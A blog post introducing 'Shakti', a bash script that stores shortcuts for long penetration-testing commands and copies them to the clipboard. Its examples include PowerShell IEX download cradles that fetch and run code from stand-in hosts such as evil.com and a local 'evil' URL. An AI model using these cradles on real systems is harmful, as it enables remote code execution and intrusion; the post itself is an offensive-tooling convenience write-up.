Shakti - More than alias

Spyx · July 15, 2021

Introduction

Shakti is simple solution for typing long repetitive commands. How many times you have to type IEX(New-object Net.WebClient).DownloadString(‘http://evil.com/my_secret_shell’) and at the end you did typo. Would not be better to quickly jump to another pane in your tmux session and type few commands and have exactly thing you need on your clipboard?

Background

I tried to brush my bash scripting skill a little and I want to create some useful application for me. Also I tried use native linux application and. As db is simple file where I use awk command to pull information I need.

Usage

List command will print out all shortcut you created.

./shakti.sh list

 ▄▀▀▀▀▄  ▄▀▀▄ ▄▄   ▄▀▀█▄   ▄▀▀▄ █  ▄▀▀▀█▀▀▄  ▄▀▀█▀▄   
█ █   ▐ █  █   ▄▀ ▐ ▄▀ ▀▄ █  █ ▄▀ █    █  ▐ █   █  █  
   ▀▄   ▐  █▄▄▄█    █▄▄▄█ ▐  █▀▄  ▐   █     ▐   █  ▐  
▀▄   █     █   █   ▄▀   █   █   █    █          █     
 █▀▀▀     ▄▀  ▄▀  █   ▄▀  ▄▀   █   ▄▀        ▄▀▀▀▀▀▄  
 ▐       █   █    ▐   ▐   █    ▐  █         █       █ 
         ▐   ▐            ▐       ▐         ▐       ▐           
    Cosmic alias


Shortcut	|	Command
========================================================
list		-	List all commands
add [shotcut] [cmd]-	Add or modify existing shortcut
dell [shortcut]	-	Delete shorcut
info [shortcut]	-	Get Shortcut info details
tty		-	get python tty
http		-	Python server
iex		-	Powershell test
psds		-	Powershell IEX Download String

I already have some shortcut created so lets have a look into psds one with info option

./shakti.sh info psds

 ▄▀▀▀▀▄  ▄▀▀▄ ▄▄   ▄▀▀█▄   ▄▀▀▄ █  ▄▀▀▀█▀▀▄  ▄▀▀█▀▄   
█ █   ▐ █  █   ▄▀ ▐ ▄▀ ▀▄ █  █ ▄▀ █    █  ▐ █   █  █  
   ▀▄   ▐  █▄▄▄█    █▄▄▄█ ▐  █▀▄  ▐   █     ▐   █  ▐  
▀▄   █     █   █   ▄▀   █   █   █    █          █     
 █▀▀▀     ▄▀  ▄▀  █   ▄▀  ▄▀   █   ▄▀        ▄▀▀▀▀▀▄  
 ▐       █   █    ▐   ▐   █    ▐  █         █       █ 
         ▐   ▐            ▐       ▐         ▐       ▐           
    Cosmic alias


Shortcut :psds
Command: echo -n "IEX(New-Object Net.WebClient).DownloadString(\"$2\")"| xclip -selection clipboard;echo "Copied"

Description: Powershell IEX Download String
There is a quite command. Lets analyze it. It will print our IEX string where $2 will substitute for anything you input after ./shakti.sh psds because we used ** ** our string it will not be copied on terminal but into our clipboard. And them we see echo command to print info on terminal. So lets test it :)
$ ./shakti.sh psds 'http://192.168.1.200/frienly_app'
Copied

It did worked! Lets create shortcut on our own. Lets call it psdf and it will print IEX DownloadFile command on screen.

$ ./shakti.sh add psdf 'echo "IEX(New-Object Net.WebClient).DownloadFile(\"$2\",\"$3\")"' 'Powershell Download Files'                                                                      
Shortcut psdf added
$ ./shakti.sh psdf 'http://127.0.0.1/evil' 'C:\windows\tmp\very_nice_app'
IEX(New-Object Net.WebClient).DownloadFile("http://127.0.0.1/evil","C:\windows\tmp\very_nice_app")

If command already exist in database it will get overwrite. There is also option for deleting your shortcut with option del.

Code

Code can by find on my github page Any comment or suggestion let me know by dm’s or directly on github.

Credit

I would like to give huge credit for Gerhard Kremer for picking amazing name that keeps me working to finish this project as he said

"Shakti - the cosmic principle that the goddess Kali is a manifestation of." 

Twitter, Facebook